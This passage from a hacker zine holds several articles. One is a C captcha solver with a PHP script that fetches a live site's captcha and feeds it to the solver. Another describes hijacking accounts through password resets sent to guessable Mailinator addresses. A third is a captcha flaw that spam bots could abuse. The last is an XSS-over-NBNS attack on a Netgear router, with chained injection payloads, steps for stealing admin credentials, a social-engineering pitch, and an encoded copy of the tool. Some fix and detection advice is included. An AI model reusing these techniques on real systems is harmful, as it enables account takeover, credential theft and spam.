dim[c][0]=j;
|
||
|
dim[c][1]=k;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
void read_pixels (int c) {
|
||
|
int i,d,k,r;
|
||
|
float arr[]={4,2,1.333333,1};
|
||
|
memset (bpix,0,8*sizeof(int));
|
||
|
for (k=0,i=0;k<4;k++) {
|
||
|
for (;i<(int)(dim[c][0]/arr[k]);i++) {
|
||
|
for (d=0;d<(int)(dim[c][1]/2);d++)
|
||
|
bpix[k][0] += chars[c][i][d];
|
||
|
for (;d<dim[c][1];d++)
|
||
|
bpix[k][1] += chars[c][i][d];
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
char cmp (int c) {
|
||
|
int i,d;
|
||
|
int err,n,min,min_i;
|
||
|
read_pixels (c);
|
||
|
for (i=0,min=-1;i<28;i++) {
|
||
|
n=abs(heights[i]-dim[c][0])*__HGT;
|
||
|
for (d=0;d<4;d++) {
|
||
|
n += abs(bpix[d][0]-table[i][0][d]);
|
||
|
n += abs(bpix[d][1]-table[i][1][d]);
|
||
|
}
|
||
|
if (min>n || min<0) {
|
||
|
min=n;
|
||
|
min_i = i;
|
||
|
}
|
||
|
}
|
||
|
return ch_list[min_i];
|
||
|
}
|
||
|
|
||
|
char *read_captcha (char *file) {
|
||
|
char *str;
|
||
|
int i;
|
||
|
str = malloc(7*sizeof(char));
|
||
|
load_image (file);
|
||
|
clear_noise ();
|
||
|
make_bw ();
|
||
|
scan ();
|
||
|
for (i=0;i<6;i++)
|
||
|
str[i]=cmp(i);
|
||
|
str[i]=0;
|
||
|
return str;
|
||
|
}
|
||
|
|
||
|
int main (int argc, char *argv[]) {
|
||
|
printf ("%s\n",read_captcha ("test.ppm"));
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
Oh, if you want to have some fun and the staff is so kind as to leave
|
||
|
captcha.php (now captcha_old.php) you can run this PHP script:
|
||
|
|
||
|
<?
|
||
|
file_put_contents ("a.jpg",file_get_contents
|
||
|
("http://www.phrack.com/captcha_old.php"));
|
||
|
system ("convert -compress None a.jpg test.ppm");
|
||
|
system ("./captcha");
|
||
|
?>
|
||
|
|
||
|
I'm done, thanks for reading :)!
|
||
|
|
||
|
darkjoker - darkjoker93 _at_ gmail.com
|
||
|
|
||
|
|
||
|
|=[ 0x02 ]=---=[ The Dangers of Anonymous Email - DangerMouse ]=---------=|
|
||
|
|
||
|
|
||
|
In this digital world of online banking, and cyber relationships there
|
||
|
exists an epidemic. This is known simply as SPAM.
|
||
|
The war on spam has been costly, with casualties on both sides. However
|
||
|
finally mankind has developed the ultimate weapon to win the war...
|
||
|
email anonymizers!
|
||
|
|
||
|
Ok, so maybe this was a bit dramatic, but the truth is people are
|
||
|
getting desperate to rid themselves of the gigantic volumes of
|
||
|
unsolicited email which plagues their inbox daily. To combat this problem
|
||
|
many internet users are turning to email anonymizing services such as
|
||
|
Mailinator [1].
|
||
|
|
||
|
Sites like mailinator.com provide a domain where any keyword can be
|
||
|
created and appended as the username portion of an email address.
|
||
|
So for example, if you were to choose the username "trustno1", the email
|
||
|
address trustno1@mailinator.com could be used. Then the mailbox can be
|
||
|
accessed without a password at http://trustno1.mailinator.com. There is
|
||
|
no registration required to do this, and the email address can be created
|
||
|
at a whim. Obviously this can be used for a number of things. From a
|
||
|
hackers perspective, it can be very useful to quickly create an anonymous
|
||
|
email address whenever one is needed. Especially one which can be checked
|
||
|
easily via a chain of proxies. Hell, combine it with an anonymous visa
|
||
|
gift card, and you've practically got a new identity.
|
||
|
|
||
|
For your typical spam adverse user, this can be an easy way to avoid
|
||
|
dealing with spam. One of the easiest ways to quickly gain an inbox
|
||
|
soaked in spam is to use your real email address to sign up to every
|
||
|
shiney new website which tickles your fancy. By creating a mailinator
|
||
|
account and submitting that instead, the user can visit the mailinator
|
||
|
website to retrieve the sign up email. Since this is not the users
|
||
|
regular email account, any spam sent to it is inconsequential.
|
||
|
|
||
|
The flaw with this however, is that your typical user just isn't
|
||
|
creative enough to work with a system designed this way. When creating
|
||
|
a fresh anonymous email account for a new website a typical users
|
||
|
thought process goes something like this:
|
||
|
|
||
|
a) Look up at URL for name of site
|
||
|
b) Append said name to mailinator domain
|
||
|
c) ???
|
||
|
d) Profit
|
||
|
|
||
|
This opens up a nice way for the internet's more shady characters to
|
||
|
quickly gain access to almost any popular website via the commonly
|
||
|
implemented "password reset" functionality.
|
||
|
|
||
|
But wait, you say. Surely you jest? No one could be capable of such
|
||
|
silly behavior on the internet!
|
||
|
|
||
|
Alas... Apparenly Mike & Debra could.
|
||
|
|
||
|
"An email with instructions on how to access Your Account has been sent to
|
||
|
you at netflix@mailinator.com"
|
||
|
|
||
|
"Netflix password request
|
||
|
|
||
|
"Dear Mike & Debra,
|
||
|
We understand you'd like to change your password. Just click here and
|
||
|
follow the prompts. And don't forget your password is case sensitive."
|
||
|
|
||
|
;) ?
|
||
|
|
||
|
At least security folk would be immune to this you say! There's no way
|
||
|
that gmail@mailinator.com would allow one to reset 2600LA's mailing list
|
||
|
password...
|
||
|
|
||
|
As you can imagine it's easy to wile away some time with possible
|
||
|
targets ranging from popular MMO's to banking websites. Just make sure
|
||
|
you use a proxy so you don't have to phone them up and give them their
|
||
|
password back... *cough*
|
||
|
|
||
|
Have fun! ;)
|
||
|
|
||
|
--DangerMouse <Phrack@mailinator.com>
|
||
|
|
||
|
P.S. With the rise in the popularity of social networking websites
|
||
|
mailinator felt the need to go all web 2.0 by including a fancy list of
|
||
|
people who "Like" mailinator on Facebook. AKA a handy target list for a
|
||
|
bored individual with scripting skillz.
|
||
|
|
||
|
References:
|
||
|
[1] Mailinator: http://www.mailinator.com
|
||
|
[2] Netflix: http://www.netflix.com
|
||
|
|
||
|
|
||
|
|=[ 0x03 ]=---=[ Captchas Round 2 - phpc0derZ@phrack.org ]=--------------=|
|
||
|
|
||
|
[ Or why we suck even more ;> ]
|
||
|
|
||
|
Let's face it, our lazyness got us ;-) So what's the story behind our
|
||
|
captcha? Ironically enough, the original script is coming from this URL:
|
||
|
|
||
|
http://www.white-hat-web-design.co.uk/articles/php-captcha.php <-- :)))))))
|
||
|
|
||
|
8<----------------------------------------------------------------------->8
|
||
|
<?php
|
||
|
session_start();
|
||
|
|
||
|
/*
|
||
|
* File: CaptchaSecurityImages.php
|
||
|
* Author: Simon Jarvis
|
||
|
* Copyright: 2006 Simon Jarvis
|
||
|
* Date: 03/08/06
|
||
|
* Updated: 07/02/07
|
||
|
* Requirements: PHP 4/5 with GD and FreeType libraries
|
||
|
* Link: http://www.white-hat-web-design.co.uk/articles/php-captcha.php
|
||
|
*
|
||
|
* This program is free software; you can redistribute it and/or
|
||
|
* modify it under the terms of the GNU General Public License
|
||
|
* as published by the Free Software Foundation; either version 2
|
||
|
* of the License, or (at your option) any later version.
|
||
|
*
|
||
|
* This program is distributed in the hope that it will be useful,
|
||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
|
* GNU General Public License for more details:
|
||
|
* http://www.gnu.org/licenses/gpl.html
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
|
||
|
class CaptchaSecurityImages {
|
||
|
|
||
|
var $font = 'monofont.ttf';
|
||
|
|
||
|
function generateCode($characters)
|
||
|
{
|
||
|
/* list all possible characters, similar looking characters and
|
||
|
* vowels have been removed */
|
||
|
$possible = '23456789bcdfghjkmnpqrstvwxyz'; $code = ''; $i = 0;
|
||
|
while ($i < $characters) {
|
||
|
$code .= substr($possible, mt_rand(0, strlen($possible)-1),1);
|
||
|
$i++;
|
||
|
}
|
||
|
return $code;
|
||
|
}
|
||
|
|
||
|
function CaptchaSecurityImages(
|
||
|
$width='120',
|
||
|
$height='40',
|
||
|
$characters='6')
|
||
|
{
|
||
|
$code = $this->generateCode($characters);
|
||
|
/* font size will be 75% of the image height */
|
||
|
$font_size = $height * 0.75;
|
||
|
$image = imagecreate($width, $height)
|
||
|
or die('Cannot initialize new GD image stream');
|
||
|
/* set the colours */
|
||
|
$background_color = imagecolorallocate($image, 255, 255, 255);
|
||
|
$text_color = imagecolorallocate($image, 20, 40, 100);
|
||
|
$noise_color = imagecolorallocate($image, 100, 120, 180);
|
||
|
/* generate random dots in background */
|
||
|
for( $i=0; $i<($width*$height)/3; $i++ ) {
|
||
|
imagefilledellipse($image,
|
||
|
mt_rand(0,$width),
|
||
|
mt_rand(0,$height),
|
||
|
1,
|
||
|
1,
|
||
|
$noise_color);
|
||
|
}
|
||
|
/* generate random lines in background */
|
||
|
for( $i=0; $i<($width*$height)/150; $i++ ) {
|
||
|
imageline($image,
|
||
|
mt_rand(0,$width),
|
||
|
mt_rand(0,$height),
|
||
|
mt_rand(0,$width),
|
||
|
mt_rand(0,$height),
|
||
|
$noise_color);
|
||
|
}
|
||
|
/* create textbox and add text */
|
||
|
$textbox = imagettfbbox($font_size,
|
||
|
0,
|
||
|
$this->font,
|
||
|
$code)
|
||
|
or die('Error in imagettfbbox function');
|
||
|
$x = ($width - $textbox[4])/2;
|
||
|
$y = ($height - $textbox[5])/2;
|
||
|
imagettftext($image,
|
||
|
$font_size,
|
||
|
0,
|
||
|
$x,
|
||
|
$y,
|
||
|
$text_color,
|
||
|
$this->font ,
|
||
|
$code)
|
||
|
or die('Error in imagettftext function');
|
||
|
/* output captcha image to browser */
|
||
|
header('Content-Type: image/jpeg');
|
||
|
imagejpeg($image);
|
||
|
imagedestroy($image);
|
||
|
$_SESSION['security_code'] = $code;
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$width = isset($_GET['width']) && $_GET['width']<600?$_GET['width']:'120';
|
||
|
$height = isset($_GET['height'])&&$_GET['height']<200?$_GET['height']:'40';
|
||
|
$characters = isset($_GET['characters'])
|
||
|
&& $_GET['characters']>2?$_GET['characters']:'6';
|
||
|
|
||
|
$captcha = new CaptchaSecurityImages($width,$height,$characters);
|
||
|
|
||
|
?>
|
||
|
8<----------------------------------------------------------------------->8
|
||
|
|
||
|
The reason why this particular script was chosen was lost in the mist of
|
||
|
time so let's focus instead on the code:
|
||
|
|
||
|
----[ 1 - Oops
|
||
|
|
||
|
OK so darkangel was right, the script is *really* poorly designed:
|
||
|
-> The set of possible characters is limited to 28 characters
|
||
|
-> The characters are inserted in the image using imagettfbbox()
|
||
|
with (amongst other things) a fixed $font_size, a predictable
|
||
|
position, etc.
|
||
|
-> The noise itself is generated using lines and circles of the
|
||
|
same color ($noise_color) which makes it trivial to remove.
|
||
|
|
||
|
Ok so we knew that it was crappy but there is even more. darkjoker's
|
||
|
approach can be seen as a dictionnary attack applied when the noise has
|
||
|
been removed. There is much more simple: since the characters are not
|
||
|
distorded, we can easily recover them using an OCR software. Luckily there
|
||
|
exists a GNU one: gocr. We tested it against the imagettfbbox() function
|
||
|
and without surprise ... it worked.
|
||
|
|
||
|
Hey man, it wasn't worth to spend that much time :>
|
||
|
|
||
|
----[ 2 - Oops (bis)
|
||
|
|
||
|
We located two interested things in the script and if you're a proficient
|
||
|
PHP reader then you've probably noticed them too... ;-)
|
||
|
|
||
|
a) The number of characters inserted in the image is user controlled.
|
||
|
If an attacker calls http://phrack.org/captcha.php?characters=x then
|
||
|
he can generate a captcha with X characters ( x >= 2 ). This
|
||
|
shouldn't be an issue itself since captcha.php is called by the
|
||
|
server. However it is because...
|
||
|
|
||
|
b) The script includes an interesting line:
|
||
|
$_SESSION['security_code'] = $code;
|
||
|
This clearly means that the PHP session will only keep track of
|
||
|
the *last* $code. While this is a normal behavior (some captcha
|
||
|
aren't readable at all so the user must be allowed to refresh),
|
||
|
this will be at our advantage.
|
||
|
|
||
|
This gives us the opportunity to mount a new attack:
|
||
|
-> I'm a spam bot and I'm writing some shit comment about how big &
|
||
|
hard your penis will be when you will purchase my special pills. A
|
||
|
PHP session is created.
|
||
|
-> A captcha is loaded and because I'm a bot I can't fucking read it.
|
||
|
Too bad for me.
|
||
|
-> Within the same session I call captcha.php with ?characters=2.
|
||
|
With a probability of 1/(28*28) I will be able to predict the
|
||
|
code generated. I'll try as many times as required until I'm right.
|
||
|
-> I will most likely succeed in the end and some poor desperate guy
|
||
|
may purchase the pills.
|
||
|
|
||
|
We've changed the captcha mechanism, the old one being captcha_old.php
|
||
|
|
||
|
----[ 3 - Conclusion
|
||
|
|
||
|
Who knows if spammers are reading phrack? One thing is sure: the script is
|
||
|
very present on Internet... Yes you should patch xD
|
||
|
|
||
|
|
||
|
|=[ 0x04 ]=---=[ XSS Using NBNS on a Home Router - Simon Weber ]=--------=|
|
||
|
|
||
|
|
||
|
--[ code is appended, but may not be the most recent. check:
|
||
|
https://github.com/simon-weber/XSS-over-NBNS
|
||
|
for the most recent version. ]--
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Abstract
|
||
|
|
||
|
2 - Test Device Background
|
||
|
|
||
|
3 - Injection Chaining Technique
|
||
|
|
||
|
4 - Device Specific Exploits
|
||
|
4.1 - Steal Router Admin Credentials
|
||
|
4.2 - Hide a Device on the Network
|
||
|
|
||
|
5 - Tool
|
||
|
|
||
|
6 - Fix, Detection and Prevention
|
||
|
|
||
|
7 - Applications
|
||
|
|
||
|
8 - References
|
||
|
|
||
|
|
||
|
--[ 1 - Abstract
|
||
|
|
||
|
For routers which:
|
||
|
|
||
|
1) use NBNS to identify attached devices
|
||
|
2) list these devices on their web admin interface
|
||
|
3) do not sanitize the names they receive
|
||
|
|
||
|
there exists a 15 character injection vector on the web interface. This
|
||
|
vector can be exploited by anyone on the network, and will affect anyone
|
||
|
who visits a specific page on the web administration interface. Using
|
||
|
multiple injections in sequence separated with block comments, it is
|
||
|
possible to chain these injections to create a payload of arbitrary length.
|
||
|
This can be used to gain router admin credentials, steal cookies from an
|
||
|
admin, alter the view of attached devices, or perform any other XSS attack.
|
||
|
|
||
|
The real world application of the technique is limited by how often admins
|
||
|
are on the web interface. However, coupled with some social engineering,
|
||
|
small businesses such as coffee shops may be vulnerable.
|
||
|
|
||
|
--[ 2 - Test Device Background
|
||
|
|
||
|
I got a Netgear wgr614 v5 for less than $15 shipped on eBay. This is a
|
||
|
common home wireless B/G router. Originally released in 2004, its EOL was
|
||
|
about 5 years ago [1].
|
||
|
|
||
|
The web admin interface is pretty poorly built (sorry, Netgear!). If you
|
||
|
poke around, you'll find a lot of unescaped input fields to play with.
|
||
|
However, none of them can really be used to do anything interesting -
|
||
|
they're one time injection vectors that other users won't see.
|
||
|
|
||
|
However, there is one interesting page. This is the "attached devices" page
|
||
|
(DEV_devices.htm). It shows a table of what's connected to the router, and
|
||
|
looks something like this:
|
||
|
|
||
|
# Name IP MAC
|
||
|
1 computer_1 192.168.1.2 07:E0:17:8F:11:2F
|
||
|
2 computer_2 192.168.1.11 AF:3C:07:4D:B0:3A
|
||
|
3 -- 192.168.1.15 EB:3C:76:0F:67:43
|
||
|
|
||
|
This table is generated from the routing table, and the name is filled in
|
||
|
from NBNS responses to router requests. If a machine doesn't respond to
|
||
|
NBNS, takes too long to respond, or it gives an invalid name (over 15
|
||
|
characters or improperly terminated), the name is set to "--". The table is
|
||
|
refreshed in two ways: automatically by the router at an interval, and by a
|
||
|
user visiting or refreshing the page.
|
||
|
|
||
|
A quick test showed that the name in this table was unescaped. However,
|
||
|
this only gets us 15 characters of payload. I couldn't manage to squeeze a
|
||
|
reference to external code in just 15 characters (maybe someone else can?).
|
||
|
Executing arbitrary code will require something a bit more sophisticated.
|
||
|
|
||
|
--[ 3 - Injection Chaining Technique
|
||
|
|
||
|
The obvious way to get more characters for the payload is by chaining
|
||
|
together multiple injections. To do this, we need a few things:
|
||
|
|
||
|
1) A way to make multiple entries in the table:
|
||
|
This is easy, we just send out fake responses for IP/MAC
|
||
|
combinations that don't already exist on the network.
|
||
|
|
||
|
2) A way to control the order of our entries:
|
||
|
Also easy: the table orders by IP address. We'll just use a
|
||
|
range of incremental addresses that no one else is using.
|
||
|
|
||
|
3) A way to chain our entries around the other html:
|
||
|
Block comments will work for this. Our injections will just open
|
||
|
and close block comments at the end and beginning of their
|
||
|
reported names. For an illustration, imagine anything between <>
|
||
|
will be ignored on the page, and our name injections are
|
||
|
delimited with single quotes:
|
||
|
|
||
|
'[name 1] <' [ignored stuff]
|
||
|
[ignored stuff] '> [name 2] <' [ignored stuff]
|
||
|
... '> [name 3] <' ...
|
||
|
|
||
|
Great, that was easy. What kind of block comments can we use? How about
|
||
|
html's?. This could work, but it has limitations. First off, -- or >
|
||
|
anywhere in the commented out html will break things. Even if this did
|
||
|
work, we'd have to be careful about where we split things, and the comments
|
||
|
would take up about half of a 15 char name.
|
||
|
|
||
|
Javascript's c-style block comments are smaller and more flexible. They can
|
||
|
come anywhere in code, so long as it isn't the middle of a token. For
|
||
|
example,
|
||
|
|
||
|
document/* ignored */.write("something")
|
||
|
|
||
|
is fine, while
|
||
|
|
||
|
docu/* uh oh */ment.write("something")
|
||
|
|
||
|
breaks things.
|
||
|
|
||
|
We also just need to avoid */ in the commented out html, which should be
|
||
|
much less likely to pop up than >. To use javascript block comments, we'll
|
||
|
obviously need to use javascript to get our payload onto the page. Call it
|
||
|
our "payload transporter". This will work just fine:
|
||
|
|
||
|
"<script>document.write('[payload]');</script>"
|
||
|
|
||
|
So, then, the first thing to do is fit our transporter into 15 char chunks
|
||
|
to send as our first few fake NBNS names. Being careful not to split tokens
|
||
|
with comments, our first 3 names can be:
|
||
|
|
||
|
<script>/*
|
||
|
*/document./*
|
||
|
*/write(/*
|
||
|
|
||
|
This will open the write command to inject our payload. Now we need to
|
||
|
package the payload into the transporter in some more 15 char chunks. Since
|
||
|
strings are tokens, we can't split one big string with block comments. We
|
||
|
need to split up the payload into multiple strings and introduce more
|
||
|
tokens between them. To do this, I leveraged the fact that document.write
|
||
|
can take multiple arguments, which it will write in order - the commas that
|
||
|
split parameters will be our extra tokens. String concatenation would work,
|
||
|
too. So, our payload will be packaged into the transporter like:
|
||
|
|
||
|
'first part of payload', /*
|
||
|
*/ 'second part of payload', /*
|
||
|
*/ 'third part...', /*
|
||
|
...
|
||
|
*/ ,'last part'); /*
|
||
|
|
||
|
It's easy to control the length of the strings to fit into the 15 char
|
||
|
length (we've just got to be careful about quotes in our payload). Lastly,
|
||
|
we just need to close the script tag, and we're done. We now have a way to
|
||
|
write an arbitrary length payload onto the attached devices page. Putting
|
||
|
it all together, here's an example of what our series of fake NBNS
|
||
|
responses could be if we wanted to get '<script>alert("test");</script>'
|
||
|
onto the page:
|
||
|
|
||
|
Spoofed NBNS Name IP MAC
|
||
|
<script>/* 192.168.1.111 00:00:00:00:00:01
|
||
|
*/document./* 192.168.1.112 00:00:00:00:00:02
|
||
|
*/write(/* 192.168.1.113 00:00:00:00:00:03
|
||
|
*/'<script>',/* 192.168.1.114 00:00:00:00:00:04
|
||
|
*/'alert(\'',/* 192.168.1.115 00:00:00:00:00:05
|
||
|
*/'test\');',/* 192.168.1.116 00:00:00:00:00:06
|
||
|
*/'</script',/* 192.168.1.117 00:00:00:00:00:07
|
||
|
*/'>');/* 192.168.1.118 00:00:00:00:00:08
|
||
|
*/</script> 192.168.1.119 00:00:00:00:00:09
|
||
|
|
||
|
There are a few other practical considerations that I found while working
|
||
|
with my specific Netgear router. It will use the most recent information it
|
||
|
has for device names. This means that we have to send our payload every
|
||
|
time that requests are sent out. It also means that for some time after we
|
||
|
stop injecting, the device listing is going to have a number of '--'
|
||
|
entries; the router is expecting to get names for these devices but sees no
|
||
|
response. To hide our tracks, we could reboot the router when finished
|
||
|
(this is possible by either injection or after stealing admin credentials,
|
||
|
which is detailed below).
|
||
|
|
||
|
We also have to be careful that a legitimate device doesn't come on to the
|
||
|
network with one of our spoofed IPs or MACs. This could possibly break our
|
||
|
injection, depending on the timing of responses.
|
||
|
|
||
|
One last thing to keep in mind: the NBNS packets need to get on the wire
|
||
|
quickly, since the router only listens for NBNS responses for a short time.
|
||
|
Thus, smaller payloads (which fit into less packets) are more likely to
|
||
|
succeed. You'll want to create external javascript to do any heavy lifting,
|
||
|
and just inject code to run it. When a payload fails, earlier packets will
|
||
|
get there and others won't, leaving garbage in the attached devices list.
|
||
|
|
||
|
--[ 4 - Device Specific Exploits
|
||
|
|
||
|
Naturally, anything that can be done with XSS or javascript is fair game.
|
||
|
You can attack the user (cookie stealing), the router (injected requests to
|
||
|
the web interface are now authed), or the page itself. I created a few
|
||
|
interesting examples that are specific to the Netgear device I had.
|
||
|
|
||
|
------[ 4.1 - Steal Router Admin Credentials
|
||
|
|
||
|
On the admin interface, there is an option to backup and restore the router
|
||
|
settings. It generates a simple flat file database called netgear.cfg. This
|
||
|
file itself is actually rather interesting. It seems to be a plaintext
|
||
|
memory dump, guarded from manipulation by a checksum that I couldn't figure
|
||
|
out (no one has cracked it as of the time this was written - if you do, let
|
||
|
me know). In it, you'll find everything from wireless keys to static routes
|
||
|
to - surprise - plaintext administrator information. This includes
|
||
|
usernames and passwords for both the http admin and telnet super admin (see
|
||
|
[3] for information on the hidden telnet console).
|
||
|
|
||
|
It's easy to steal this file via XSS in the same way that cookies are
|
||
|
stolen. The attacker first sets up a listening http server to receive the
|
||
|
information. Then, the injection code simply GETs the file and sends it off
|
||
|
to the listening server.
|
||
|
|
||
|
With admin access to the router, the attacker can do all sorts of things.
|
||
|
Basic traffic logging is built-in, and can even be emailed out
|
||
|
automatically. DoS is possible through the router's website blocking
|
||
|
functions. Man in the middle attacks are possible through the exposed dhcp
|
||
|
dns, static routing and internet connection configuration options.
|
||
|
|
||
|
------[ 4.2 - Hide a Device on the Network
|
||
|
|
||
|
The only place that an admin can get information about who is on the
|
||
|
network is right on the page we inject to. Manipulating the way the device
|
||
|
list is displayed could provide simple counter-detection against a
|
||
|
suspicious administrator.
|
||
|
|
||
|
For this exploit, we inject javascript to iterate through the table and
|
||
|
remove any row that matches a device we're interested in. Then, the table
|
||
|
is renumbered. Note that we don't have to own the device to remove it from
|
||
|
the list.
|
||
|
|
||
|
Going one step further, the attacker can bolster the cloak of invisibility.
|
||
|
Blocking connections not originating from the router is an obvious choice.
|
||
|
It might be wise to block pings directly from the router as well.
|
||
|
|
||
|
--[ 5 - Tool
|
||
|
|
||
|
I used Scapy with Python to implement the technique and exploits described
|
||
|
above and hosted it on Github [2]. You can also specify a custom exploit
|
||
|
that will be packaged and sent using my chaining technique. I also made a
|
||
|
simple python http server to listen for stolen admin credentials and serve
|
||
|
up external exploit code. Credit goes to Robert Wesley McGrew for NBNSpoof;
|
||
|
I reused some of his code [4].
|
||
|
|
||
|
To combat the problem I described earlier about sending packets quickly, I
|
||
|
listen for the first request from the router and precompute the response
|
||
|
packets to send. These will be sent as responses to any other requests
|
||
|
sniffed. You'll notice this if you use my tool; a "ready to inject" message
|
||
|
will be printed after the responses are generated.
|
||
|
|
||
|
If you look at my built-in exploits, you'll see they each use a loadhelp2
|
||
|
function as the entry point. This is just an easy way to get them to run
|
||
|
when the page is loaded. The router declares the loadhelp function
|
||
|
externally, and runs it on page load; I declare it on the page (so my
|
||
|
version is actually used), and use it to launch my external loadhelp2 code.
|
||
|
Then, the original code is patched on to the end, so the user doesn't
|
||
|
notice.
|
||
|
|
||
|
--[ 6 - Fix, Detection and Prevention
|
||
|
|
||
|
To close the hole, Netgear would only need to change some web backend code
|
||
|
in the firmware to escape NBNS names. I contacted Netgear about this. They
|
||
|
won't make a fix for this specific model - it already saw its support EOL -
|
||
|
but they are checking their newer models for this flaw as of September 2011
|
||
|
[1].
|
||
|
|
||
|
So, if you have this router, know that a fix isn't coming. While it may be
|
||
|
difficult to initially detect that a device you own is being attacked, once
|
||
|
you suspect it there are simple ways to verify it:
|
||
|
|
||
|
check the source of the affected page; you'll see the commented
|
||
|
out device entries with suspicious names
|
||
|
|
||
|
use the hidden telnet interface. This will show the many fake
|
||
|
IPs that are generated when packing a payload.
|
||
|
|
||
|
as a last resort, watch network traffic for malformed NBNS names
|
||
|
|
||
|
Also, keep in mind that you can only be affected when checking your
|
||
|
router's configuration. You could protect yourself completely by never
|
||
|
visiting the web administration interface.
|
||
|
|
||
|
--[ 7 - Applications
|
||
|
|
||
|
Of course, this technique's practical application is limited to how often
|
||
|
users check their router admin pages. However, when coupled with some
|
||
|
social engineering, I could imagine a vulnerability for small businesses
|
||
|
like coffee shops.
|
||
|
|
||
|
These locations commonly offer wireless using off-the-shelf hardware like
|
||
|
my Netgear router. Getting on their network is easy - it's already open. At
|
||
|
this point, the attacker starts the exploit, then convinces an employee to
|
||
|
check the admin pages (maybe "I'm having some strange issues with the
|
||
|
wireless...Can you check on the router and see if my device is showing
|
||
|
up?"). I'm sure a practiced social engineer would have no trouble pulling
|
||
|
this off.
|
||
|
|
||
|
As far as applying this beyond the home networking realm, a good place to
|
||
|
start would be investigating this technique on other routers or better
|
||
|
firmwares like DD-WRT or Tomato. That would at least determine if this is a
|
||
|
common flaw. I didn't have another device to play with (the wgr614v5
|
||
|
doesn't work with other firmware), so I'll leave it for someone else to
|
||
|
try.
|
||
|
|
||
|
I'm doubtful that other applications very different from what I described
|
||
|
exist. Router administration pages simply aren't viewed very much. However,
|
||
|
the broader idea of XSS through spoofed NBNS names might be applicable to a
|
||
|
different domain. Anywhere there is a listing of NBNS names, there is the
|
||
|
possibility of an injection vector.
|
||
|
|
||
|
--[ 8 - References
|
||
|
|
||
|
[1] private communication with Netgear, September 2011
|
||
|
[2] https://github.com/simon-weber/XSS-over-NBNS
|
||
|
[3] http://www.seattlewireless.net/NetgearWGR614#TelnetConsole
|
||
|
[4] http://www.mcgrewsecurity.com/tools/nbnspoof/
|
||
|
|
||
|
|
||
|
October 2011
|
||
|
Simon Weber
|
||
|
sweb090 _at_ gmail.com
|
||
|
|
||
|
|
||
|
begin 644 xss_over_nbns.tgz
|
||
|
M'XL(`(D#G4X``^P\^W/;1L[]67_%'CWWD4HI2G)BIZ=8GKJ)TWJ:.J[MS-V-
|
||
|
MJ]&LR)7%A"(9/BRK^?*_'X!]\"'YD;NV]SU.T];2/@`L%L`"6&S])!#]KW[?
|
||
|
MSP`^S_?VZ"]\VG_I^W"X_^SY[F"X^W3_J\%P\.SYX"NV]SO319\R+WC&V%=9
|
||
|
MDA3WC7NH_W_IQ\?]CV=Q/@WC]\(ODLQ+U[\Q#MS@_6?/[MC_X=/=_6%K_Y\^
|
||
|
M'^Q^Q0:_,1U;/__/]W_G3_TRS_JS,.Z+^(:EZV*1Q)V=S@YK"\6(G7YW>L%D
|
||
|
M2YC$;)D$9238/,E8F0O&KWD8YP4[%<6U`):NKK/]X;.;/0#U,DG767B]*)CS
|
||
|
MLLM@EX?L(EP"B+^*F<C80;X2L\%?!M]>+WD8>7ZR/*1)@6!I.8O"?"$"5L8!
|
||
|
M#/W^[,W-[@N6"\'>G+P\/KTX9O,P$D3PRTP$8<&*A)TG`+8`Z'DDUNPG__M,
|
||
|
MK(A.7%.:)'-8#G,&3WN[SWN[8)NZ+]@)KB%@>;(4+)FS19@S5`T/X/X`W\,8
|
||
|
MIB\YKGL$32N"_.W2OP;(N?#++"S62#CT+8HB'?7[6_HZ.Q=EFF8BSUFQ$.SD
|
||
|
M[&:?Q0G+DK(0;,6S.(RO1WI^(?R%=YL7(O-B4?2+,,W[N9K>RWV>KGMA>K/?
|
||
|
M4_/ZG7"9)K#H*+F^AM\=]=>[%L4;^"HRQZ)97E;&1;@45M?+H4O<B,C18X_/
|
||
|
MS]^>=SN=>98LF1S-HX@IR$\Z'3_B0/R)$HI1AS&V\WTB<C83P!]!RTKY.DIX
|
||
|
M`"QC29G!3_^#*#P<^L/QT:NQ_<OM8+#Y[_`I_!W:G0[!?)N*F/$X8'Z4H&@9
|
||
|
MH$Z!.Q-*!K[G-SSWLS`MF%5D'+<V`W[!RA#(V='+'Z>$TK$/Y+##_A/;_04[
|
||
|
M:Q_[23](_'(IXL*[HW\%6R@<Z.QV#.3+HY,W`/E)_Z"O@-NN[`[$G$U!<\)B
|
||
|
M.G5R$<U==B.R&2S$96$ZO1:QRY;<EU^X7Y0\FH8I],5`_)S[,$PMUY6RD4%W
|
||
|
M=Z3(LBP+!)V#Q/"8&?7LJ%X)GUBG4#`.^P)_1<9A(#*.%R"_T%30_LSY!\%0
|
||
|
MN&!\SG#G/4"AP*D_N`C/D,+&%5GU`89^&&"^UP>8M<(`\[T^0._R6#.@WJEX
|
||
|
M")WJ6Z>!7"Y\K#A0[]*,&&N6-":"/J5)G(,,C]EI$@NSA:`GM'N&\WD<SN=.
|
||
|
MB*L:-Q?L@@V"KV.K#%+B/>D+G&*6FP/3Q7C@IEDL)P'?IU(G*FG!WU.U9"4Q
|
||
|
MF?A8BKPPHK!M_V$!60B$)W.E97IW0U!:DMF&0H)A7!1+Z`F+14UWC.R<BZ+,
|
||
|
M8@;VMD"019E&`-R1H%TPA[#<N,B[)!]J3IU[.-'IZIZ=HR`@]`O!P7)[JAFM
|
||
|
M,+9,TU"`I("1T-;$,PH[JC30P/=X"C8A<!PE*,`P39!C>%4![C9^5$0=HU4#
|
||
|
MU@&#<(E`7@Z&#TZQCV52"+3S=99Y<(2P6`CB79`P,CXP`0A?"1OU*H'9V#D#
|
||
|
M0&4&:A$'U(+6"886&?PBJ`TTFAD;\@[2F$8@4(YE6RZS?OG%MKH=0_Q?:4M;
|
||
|
M)*K.*/$!S$#]6BW@4*2V`Q:)V-%"Q'KL>8V[FH,PTWK2MRWVM09[!7-'\._7
|
||
|
MWTR@T;+=_A/KG]T5(SBUK]T*&%+Y]9A]LWV9<.`43,J*(V+@L<`C$ZQ]&"&C
|
||
|
MX5A=\KRKN?#`@N1:NB^JQ?P6*^G41+L`NNX2;3PQ_FG1K@!W&S^ZE2:2]AJH
|
||
|
